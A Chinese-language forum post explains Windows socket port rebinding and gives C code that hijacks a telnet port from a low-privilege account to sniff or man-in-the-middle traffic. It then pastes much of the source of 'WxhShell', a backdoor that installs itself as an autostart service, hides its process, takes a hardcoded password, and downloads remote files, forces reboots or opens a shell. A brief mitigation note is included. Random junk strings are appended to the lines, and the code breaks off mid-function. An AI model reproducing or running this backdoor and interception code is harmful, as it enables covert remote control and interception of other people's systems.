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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t6;Ln().Hw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .,:700n+^  
&z-f,`yG  
  saddr.sin_family = AF_INET; }b+tD3+  
[_jTy;E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TqNEU<S/t  
yA%(!v5UT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wSp1ChS k  
"`DCXn#mB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 krTH<- P  
Y8I$J BO  
  这意味着什么?意味着可以进行如下的攻击: A/W-'%+`  
(lhbH]I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P5ii3a?R  
X6mY#T'fQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VVdgNT|}W  
G?)vqmJ%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Eb`U^*A  
A6'G%of  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v7O&9a;  
$;%-<*Co  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ga-AhP  
ZpPm>|w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9YMUvd,u  
<lM]c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %-+lud  
M:W9h+z  
  #include t_ &FK A  
  #include 0X\,!FL  
  #include >2 gemTy  
  #include    8jxgSB",  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dOq*W<%  
  int main() w \pD'1e  
  { S @\Pki+n[  
  WORD wVersionRequested; aWVJx@f  
  DWORD ret; or/Y"\-!  
  WSADATA wsaData; y&\ J  
  BOOL val; 3OV#H%  
  SOCKADDR_IN saddr; 6Flc4L8JU  
  SOCKADDR_IN scaddr; od |w)?16  
  int err; EI2V<v  
  SOCKET s; t#kR@t+6$\  
  SOCKET sc; ?Zu=UVb  
  int caddsize; XpWqL9s_E  
  HANDLE mt; VAc-RaA  
  DWORD tid;   Tn[DF9;?  
  wVersionRequested = MAKEWORD( 2, 2 ); qFmvc  
  err = WSAStartup( wVersionRequested, &wsaData ); A'qJke=  
  if ( err != 0 ) { bL+Hw6;  
  printf("error!WSAStartup failed!\n"); \>w[#4`m  
  return -1; 6 $%^  
  } m~\BkE/[l  
  saddr.sin_family = AF_INET; ;$(a+?  
   +bvY*^i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q"CZ}B1<  
7|3Z+#|T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ):eX*  
  saddr.sin_port = htons(23); in-/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8ON$M=Ze$  
  { Oh<[8S7]C  
  printf("error!socket failed!\n"); w-[WJ:2.  
  return -1; NA[yT  
  } o"t+G/M  
  val = TRUE; -MoI{3a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j& f-yc'i-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  m2%uGqz  
  { "8VCXD  
  printf("error!setsockopt failed!\n"); gOa'o<  
  return -1; PdJtJqA8h\  
  } yowvq4e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fR!'i):u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R{kZKD=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t#oY|G3O}  
~f 2H@#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nCEt*~t9VE  
  { ]i\D*,FfU  
  ret=GetLastError(); Uf{cUY,j_  
  printf("error!bind failed!\n"); QvK/31*QG  
  return -1; _h7!  
  } +Tde#T&[  
  listen(s,2); ? )-*&1cv  
  while(1) ^V v7u@y  
  { bAt%^pc=y  
  caddsize = sizeof(scaddr); ^x %yIS  
  //接受连接请求 E=GCq=Uw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (L8H.|.  
  if(sc!=INVALID_SOCKET) W'rft@J$  
  { gIep6nq1`|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BqK|4-Pf  
  if(mt==NULL) '0U+M{  
  { J@(=#z8xS  
  printf("Thread Creat Failed!\n"); a3ve%b  
  break; Skl1%`  
  } '@RlKMnN  
  } aB-*l %x  
  CloseHandle(mt); g=Q#2/UQ<  
  } ):jK sP ,  
  closesocket(s); GIsXv 2  
  WSACleanup(); .Ff;St  
  return 0; 7*d}6\ %  
  }   4VSIE"8e  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3D +>NB  
  { 6T&6N0y+9  
  SOCKET ss = (SOCKET)lpParam; +w:[By"  
  SOCKET sc; A1Mr  
  unsigned char buf[4096]; Jz 'm&mu  
  SOCKADDR_IN saddr; vLJ<_&6  
  long num; ZU7e1VaZM  
  DWORD val; UL$^zR3%d  
  DWORD ret; "lx}.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C78YHjy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jwyJ=W-  
  saddr.sin_family = AF_INET; ;o_4)+}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bV|:MW <Wv  
  saddr.sin_port = htons(23); <_8\}!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' ~lC85  
  { ;2@MPx  
  printf("error!socket failed!\n"); {-J/ <a@  
  return -1; Wk$[;>NU3  
  } tx Lo =  
  val = 100; KnbT2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) / _-?NZ  
  { b\"JXfw  
  ret = GetLastError(); Z%6I$KAN8  
  return -1; k# ZO4  
  } -o6K_R}R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xoml  
  { 52/^>=t  
  ret = GetLastError(); kM*f9x  
  return -1; oOBN  
  } lLxKC7b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cgc| G  
  { ~EW (2B{u  
  printf("error!socket connect failed!\n"); 0vQ@n7  
  closesocket(sc); fOm=#:O  
  closesocket(ss); &9, 6<bToP  
  return -1; 'h%)@q)J)  
  }  r75,mX  
  while(1) {6~v oVkj  
  { C^K?"800  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q?L-6]pg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Tf Q(f?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 25t2tj@S  
  num = recv(ss,buf,4096,0); sKB])mf]  
  if(num>0) |L.QIr,jCC  
  send(sc,buf,num,0); `Q<hL{AH  
  else if(num==0) C]K@SN$   
  break; 2TmQaDu%b  
  num = recv(sc,buf,4096,0); {jcrTjmxe  
  if(num>0) ^, q\S  
  send(ss,buf,num,0); L 9Z:>i?  
  else if(num==0) L qMH]W  
  break; %L:e~*  
  } LtJ$ZE^GB  
  closesocket(ss); `]_#_  
  closesocket(sc); VT?J TW  
  return 0 ; tmDI2Z%7  
  } ]L^X}[SH  
l131^48U  
~ULuX"n  
========================================================== =<y$5"|  
mNc (  
下边附上一个代码,,WXhSHELL rg "W1m[k  
",(-AU!a)h  
========================================================== QB'-`GwL  
:-xp'_\L  
#include "stdafx.h" hdQ[=PH)  
dMCV !$  
#include <stdio.h> 5Z ] `n  
#include <string.h> I{ ;s.2  
#include <windows.h> q62TYg}  
#include <winsock2.h> 79n,bb5  
#include <winsvc.h> 4gG&u33RrE  
#include <urlmon.h> GQ[: vX`  
36@)a5  
#pragma comment (lib, "Ws2_32.lib") 25XD fi75  
#pragma comment (lib, "urlmon.lib") I5wf|wB-  
|t1D8){!  
#define MAX_USER   100 // 最大客户端连接数 o_t2 Z  
#define BUF_SOCK   200 // sock buffer \kF}E3~+#  
#define KEY_BUFF   255 // 输入 buffer eA$9)K1GO  
5O#CdN-S  
#define REBOOT     0   // 重启 2.p7fu  
#define SHUTDOWN   1   // 关机 *JZU 0Xb  
1>c`c]s3  
#define DEF_PORT   5000 // 监听端口 ,oT?-PC$z  
LUna stA^  
#define REG_LEN     16   // 注册表键长度 wr~# rfH  
#define SVC_LEN     80   // NT服务名长度 MIub^ $<C  
UN'hnqC  
// 从dll定义API CtTG`)"|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gs_"H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Os?G_ziIB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2/ PaXI/Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m4<8v  
usZmf=p-r  
// wxhshell配置信息 UtIwrR[  
struct WSCFG { QzT)PtX  
  int ws_port;         // 监听端口 ib/B!?/  
  char ws_passstr[REG_LEN]; // 口令 'vgw>\X(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?y>xC|kt  
  char ws_regname[REG_LEN]; // 注册表键名 eG72=l)Mz  
  char ws_svcname[REG_LEN]; // 服务名 yeFt0\=H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $u|p(E:*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /FJAI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KXL]Qw FN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #*BcO-N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QKL5! L9`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 30-XFl  
#.$p7]  
}; rtS(iD@B"  
YT+fOndjaF  
// default Wxhshell configuration UO5^4  
struct WSCFG wscfg={DEF_PORT, ,}2M'DSWa  
    "xuhuanlingzhe", 9`f]Rf"  
    1, >:4}OylhM  
    "Wxhshell", 1 y$Bz?4  
    "Wxhshell", eh2w7 @7Q  
            "WxhShell Service", 8c`g{ *z  
    "Wrsky Windows CmdShell Service", *LOpbf  
    "Please Input Your Password: ", H^_[nL  
  1, .t.H(Q9  
  "http://www.wrsky.com/wxhshell.exe", 3;Kv9i<~LE  
  "Wxhshell.exe" ,)hUL/r6  
    }; kLU$8L  
XE[~! >'  
// 消息定义模块 E)H: L-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $xNM^O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7FW!3~3A_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vg&Dr  
char *msg_ws_ext="\n\rExit."; SSY E&  
char *msg_ws_end="\n\rQuit."; fKY6stJE  
char *msg_ws_boot="\n\rReboot..."; |k$[+53A  
char *msg_ws_poff="\n\rShutdown..."; _Ft4F`pM  
char *msg_ws_down="\n\rSave to ";  Aa[p7{e  
` :eXXE  
char *msg_ws_err="\n\rErr!"; %k_R;/fjW  
char *msg_ws_ok="\n\rOK!"; GM%%7^uE  
HUuL3lYka  
char ExeFile[MAX_PATH]; ?k<i e2  
int nUser = 0; w(U-6uA  
HANDLE handles[MAX_USER]; q]T{g*lT  
int OsIsNt; cx_FtD  
p 2It/O  
SERVICE_STATUS       serviceStatus; x[U/ 8#f&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "X4OUk  
c}kZ x1  
// 函数声明 ;| ##~Y.9  
int Install(void); /)ps_gM  
int Uninstall(void); biKom|<nm  
int DownloadFile(char *sURL, SOCKET wsh); ,-myR1}  
int Boot(int flag); ^s\(2lB\F  
void HideProc(void); aFjcyD  
int GetOsVer(void); ?wt%e;  
int Wxhshell(SOCKET wsl); @(Wx(3JR?}  
void TalkWithClient(void *cs); )WF]v"t  
int CmdShell(SOCKET sock); r" d/ 9  
int StartFromService(void); cq>{  
int StartWxhshell(LPSTR lpCmdLine); P95U{   
2>Hl=bX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mjO4GpG3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .xS3,O_[  
U']DB h  
// 数据结构和表定义 |&eZ[Sy(=l  
SERVICE_TABLE_ENTRY DispatchTable[] = 8VQJUwf;  
{ Gu}|CFL\  
{wscfg.ws_svcname, NTServiceMain}, /.9j$iK#  
{NULL, NULL}  ;)s$Et%  
}; 3?iRf6;n  
E;.<'t>  
// 自我安装 tsVQXvo  
int Install(void) /k qW  
{ OJPx V~y  
  char svExeFile[MAX_PATH]; /) sA{q 4  
  HKEY key; mnZ/rb  
  strcpy(svExeFile,ExeFile);  }&BE*U8_  
rCR?]1*Z  
// 如果是win9x系统,修改注册表设为自启动 |b7 v(Hx  
if(!OsIsNt) { _eb:"(m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q4'szDYO2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hNgbHzW  
  RegCloseKey(key); /6jt 5N&,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :akEl7/&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Qne rd%Ec  
  RegCloseKey(key); u&yAMWl  
  return 0; qgg/_H:;w  
    } PeGA+0bm  
  } 92!1I$zi  
} Wjc1EW!2x  
else { 6SI`c+'@5  
{XH!`\  
// 如果是NT以上系统,安装为系统服务 va F^[/ (g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); = Ryh@X&  
if (schSCManager!=0) JwG$lGNJ  
{ S&_Z,mT./  
  SC_HANDLE schService = CreateService M }=X/*T  
  ( " 2A`M~  
  schSCManager, 1DVu`<OXcH  
  wscfg.ws_svcname, xS?[v&"2  
  wscfg.ws_svcdisp, ^ZV1Ev8T6  
  SERVICE_ALL_ACCESS, RAYDl=}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f1w&D ]|S+  
  SERVICE_AUTO_START, iU"jV*P]  
  SERVICE_ERROR_NORMAL, d2`m0U  
  svExeFile, J}U);A  
  NULL, ;#$ 67G$  
  NULL, R#gt~]x6k  
  NULL, RnC96"";R.  
  NULL, s ;EwAd(  
  NULL .l5y+a'  
  ); 8oiO:lyLSt  
  if (schService!=0) p vone,y2  
  { kx&Xk0F_g  
  CloseServiceHandle(schService); IaMZPl  
  CloseServiceHandle(schSCManager); %EkV-%o*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pxP,cS  
  strcat(svExeFile,wscfg.ws_svcname); ]D_"tQ?i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bC*( ,n<'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6-#<*Pg  
  RegCloseKey(key); *W,tq(%tQ  
  return 0; k+#6  
    } L c4\i  
  } ?# ~3%$>  
  CloseServiceHandle(schSCManager); lZ]x #v  
} g(Q)fw  
} q2 K@i*s  
dd1CuOd6(1  
return 1; :U;n?Zu S  
} Y~z3fd  
S. my" j  
// 自我卸载 |R[@u=7s  
int Uninstall(void) K;kaWV  
{ Bh3N6j+$d  
  HKEY key; $>Md]/I8  
#-vuY#gs  
if(!OsIsNt) { XgRrJ.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wm ri%  
  RegDeleteValue(key,wscfg.ws_regname); V&nTf100  
  RegCloseKey(key); .m%/JquMFM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E57:ap)/  
  RegDeleteValue(key,wscfg.ws_regname); 6r  
  RegCloseKey(key); "<['W(  
  return 0; }]O* yFR{j  
  } OXu*w l(z  
} 'YQ^K`lV  
} ;Z>u]uK4+  
else { .axJ'*~W  
3sr> ?/>:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `;KU^dH  
if (schSCManager!=0) u@QP<[f  
{ aY`qbJy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PP/EZ^]b  
  if (schService!=0) PF=BXY1<UL  
  { qyi5j0)W  
  if(DeleteService(schService)!=0) {  B=)&43)\  
  CloseServiceHandle(schService); >f)/z$ qn  
  CloseServiceHandle(schSCManager); DD 8uG`<  
  return 0; Cg{V"B:  
  } 9vIqGz-o  
  CloseServiceHandle(schService); WRa1VU&f  
  } Fu0"Asxce  
  CloseServiceHandle(schSCManager); NQB a+N  
} W)F<<B,  
} JF{yhx,+ p  
U~9Y9qzy,  
return 1; P`z#tDT^"  
} v9?hcJ=  
R"@J*\;$T  
// 从指定url下载文件 H}v.0R  
int DownloadFile(char *sURL, SOCKET wsh) ]x)^/ d  
{ $glt%a  
  HRESULT hr; 2AYV9egZ  
char seps[]= "/"; p@B/S(Xi  
char *token; nE"##2X  
char *file; ^d6}rtG  
char myURL[MAX_PATH]; YY{0WWua  
char myFILE[MAX_PATH]; IQz"FH?  
u7PtGN0r%  
strcpy(myURL,sURL); kH;DAphk  
  token=strtok(myURL,seps); =[A5qwyv  
  while(token!=NULL) ai,\'%N  
  { &8=wkG%  
    file=token; )y~FeKh  
  token=strtok(NULL,seps); ]0[Gc \h}  
  } 7kiZFHV  
Ih Yso7g  
GetCurrentDirectory(MAX_PATH,myFILE); F+ ,eJ/]  
strcat(myFILE, "\\"); ~yX8p7qr  
strcat(myFILE, file); 1P8XVI'  
  send(wsh,myFILE,strlen(myFILE),0); ^a>3U l{  
send(wsh,"...",3,0); eXs^YPi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _:N+mEF  
  if(hr==S_OK) ub/Z'!  
return 0; r'|Vz*/h  
else d6(R-k#B  
return 1; 'YQVf]4P  
a7$]" T 7  
} ojmF:hR"  
'gBGZ?^N!U  
// 系统电源模块 $] ])FM"b  
int Boot(int flag) rC !!X  
{ @=i- *U  
  HANDLE hToken; N@qP}/}8  
  TOKEN_PRIVILEGES tkp; <@F.qMl  
bQ%6z}r  
  if(OsIsNt) { 9F~e^v]zp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0iKSUw ps  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "+0Yhr?  
    tkp.PrivilegeCount = 1; 2OA0rH"v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cWp5' e]A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W;Pdbf"  
if(flag==REBOOT) { 3VI[*b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E O.Se9ux  
  return 0; f`;y "ba  
} i}tBB~]  
else { TTYM!+T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X mmb^2I  
  return 0; ,(&p "O":  
} >Bw<THx  
  } x]6-r`O7r  
  else { kv!QO^;^Y  
if(flag==REBOOT) { ul@swp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 96(3ilAt  
  return 0; g36:OK"  
} cVV@MC  
else { wo#,c(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v[7iWBqJ  
  return 0; s'7PHP)LOJ  
} xM+_rU M|h  
} {/)q=  
,H)v+lI  
return 1; k^H&IS!  
} thU9s%,  
=00c1v  
// win9x进程隐藏模块 ^y,Ex;6o  
void HideProc(void) Za110oF  
{ ~M c'~:{O  
]NEr]sc-"F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cD%_+@GaU  
  if ( hKernel != NULL ) S|jE1v"L  
  { L2sUh+'|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o^efeI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gTM*td(~^  
    FreeLibrary(hKernel); yv;KKQ   
  } mhNX05D  
=K \xE"  
return; Yy 8? X9r.  
} o){\qhLp  
xCQLfXK7  
// 获取操作系统版本 *2T"lpl  
int GetOsVer(void) /g`!Zn8a  
{ &FpoMW  
  OSVERSIONINFO winfo; /Kd9UQU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i8h^~d2"  
  GetVersionEx(&winfo); [yhK4A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mEZHrr J  
  return 1; Ueb&<tS  
  else c 98^~vR]]  
  return 0; S{Q2KD  
} 94}y,\S~  
-u$U~?|`  
// 客户端句柄模块 cr`NHl/XF  
int Wxhshell(SOCKET wsl) p9y@5z  
{ Bjp4:;Bb  
  SOCKET wsh; `DFo:w!k  
  struct sockaddr_in client; 5%jy7)8C  
  DWORD myID; n~Yr`5+Z  
rj ] ~g  
  while(nUser<MAX_USER) $~,J8?)(z  
{ 2CF5qn}T  
  int nSize=sizeof(client); U^;|as  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )z_5I (?&  
  if(wsh==INVALID_SOCKET) return 1; !{+a2wi  
1\X_B`xwD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); . #FJM2Xk  
if(handles[nUser]==0) Y2TXWl,Jk  
  closesocket(wsh); H[Q3M~_E  
else cakwGs_{  
  nUser++; *%ta5a  
  } tch;_7?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1wg#4h43l  
;)ku SH  
  return 0; ;L@p|]fu  
} O>LqpZ  
KIGMWS^^  
// 关闭 socket 0F%/R^mw  
void CloseIt(SOCKET wsh) [9;[g~;E%m  
{ 4J{W8jX  
closesocket(wsh); `uof\D<']  
nUser--; ^4~?]5Y\  
ExitThread(0); ]^0mh["  
} moD)^':.  
6W/uoH=;  
// 客户端请求句柄 ;w<r/dK   
void TalkWithClient(void *cs) O9P4r*prA  
{ 0<)Ep~!  
[85b+SKW  
  SOCKET wsh=(SOCKET)cs; C({r1l4[D  
  char pwd[SVC_LEN]; hEA;5-m  
  char cmd[KEY_BUFF]; {rzvZ0-j}  
char chr[1]; )E*-  
int i,j; Kw =RqF  
98Y1-Z^ .  
  while (nUser < MAX_USER) { RDOV+2K  
oi7Y?hTj  
if(wscfg.ws_passstr) { LYke\/ md  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +62}//_?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T`2a)  
  //ZeroMemory(pwd,KEY_BUFF); v@,`(\Ca'  
      i=0; 8K9RA<  
  while(i<SVC_LEN) { Ww0dU_  
=>- W!Of  
  // 设置超时 8I7JsCj  
  fd_set FdRead; 2<E@f0BVAy  
  struct timeval TimeOut; wWVB'MRXB,  
  FD_ZERO(&FdRead); tkP& =$  
  FD_SET(wsh,&FdRead); [ e#[j{  
  TimeOut.tv_sec=8; juA}7   
  TimeOut.tv_usec=0; ]$!7;P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w :9M6+mM^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lE8(BWzw  
z .+J\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #G\Ae:O  
  pwd=chr[0]; a/n~#5-  
  if(chr[0]==0xd || chr[0]==0xa) { (\%J0kR3[  
  pwd=0; }vd72P B  
  break; pQoZDD@B$  
  } RREl($$p  
  i++; @o6!  
    } i(YR-vYK  
?L"x>$  
  // 如果是非法用户,关闭 socket -Dwe,N"{2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {8556>\~  
} ybv]wBpM:  
>@EwfM4[e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }_D{|! !!T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _^D-nk?  
rX22%~1  
while(1) { LX}|%- iv  
y*E{X  
  ZeroMemory(cmd,KEY_BUFF); G_}oI|B  
44pVZ5c  
      // 自动支持客户端 telnet标准   `_x#`%!#2  
  j=0; mr,G H x  
  while(j<KEY_BUFF) { +hcJ!$J7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l-2lb&n  
  cmd[j]=chr[0]; #!>`$  
  if(chr[0]==0xa || chr[0]==0xd) { 0x # V   
  cmd[j]=0; s >k4G  
  break; %reW/;)l{  
  } ~FVbL-2  
  j++; L+G i  
    } uT Y G/O  
w+{{4<+cd  
  // 下载文件 bYYjP.rcF  
  if(strstr(cmd,"http://")) { s>=$E~qq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f[q_eY  
  if(DownloadFile(cmd,wsh)) gX(8V*os^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[R?hS,0 t  
  else X;v{,P=J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M"foP@  
  } Uv(}x 7e)  
  else { P0rdGf 5T  
*-'`Ea  
    switch(cmd[0]) { iZ0.rcQj'o  
  KP!7hJhw  
  // 帮助  nyZ?m  
  case '?': { 'i;ofJ[.c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'cY @Dqg1  
    break; &{8[I3#@  
  } }mS Q!"f:  
  // 安装 Ok phbAX  
  case 'i': { h1#l12k^'  
    if(Install()) U+ uIuhz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OA7=kH@3c  
    else J?Rp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); crJNTEz  
    break; :(I=z6  
    } NJKk\RM@7  
  // 卸载 akQb%Wq  
  case 'r': { V3_qqz}`r  
    if(Uninstall()) =|d5V%mK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nb@<UbabW}  
    else ZRUAw,T*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4VzSqb  
    break; tfv@ )9  
    } fVq,?  
  // 显示 wxhshell 所在路径 WX+@<y}%  
  case 'p': { t5QGXj  
    char svExeFile[MAX_PATH]; FYK}AR<=  
    strcpy(svExeFile,"\n\r"); ve4 QS P  
      strcat(svExeFile,ExeFile); *T{KpiuP  
        send(wsh,svExeFile,strlen(svExeFile),0); Ds\f?\Em  
    break; aX~' gq>  
    } efh1-3f  
  // 重启 %Jn5M(myC  
  case 'b': { d_98%U+u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vf`]  
    if(Boot(REBOOT)) QEEX|WM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w$Mb+b$  
    else { $'lJ_ jL  
    closesocket(wsh); K$M,d - `b  
    ExitThread(0); & aF'IJC  
    } dTVM !=  
    break; jw]IpGTt  
    } ,aa %{  
  // 关机 i{PX=  
  case 'd': { ]o_E]5"jO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p-/}@r3Z+  
    if(Boot(SHUTDOWN)) 2aQ}| `  
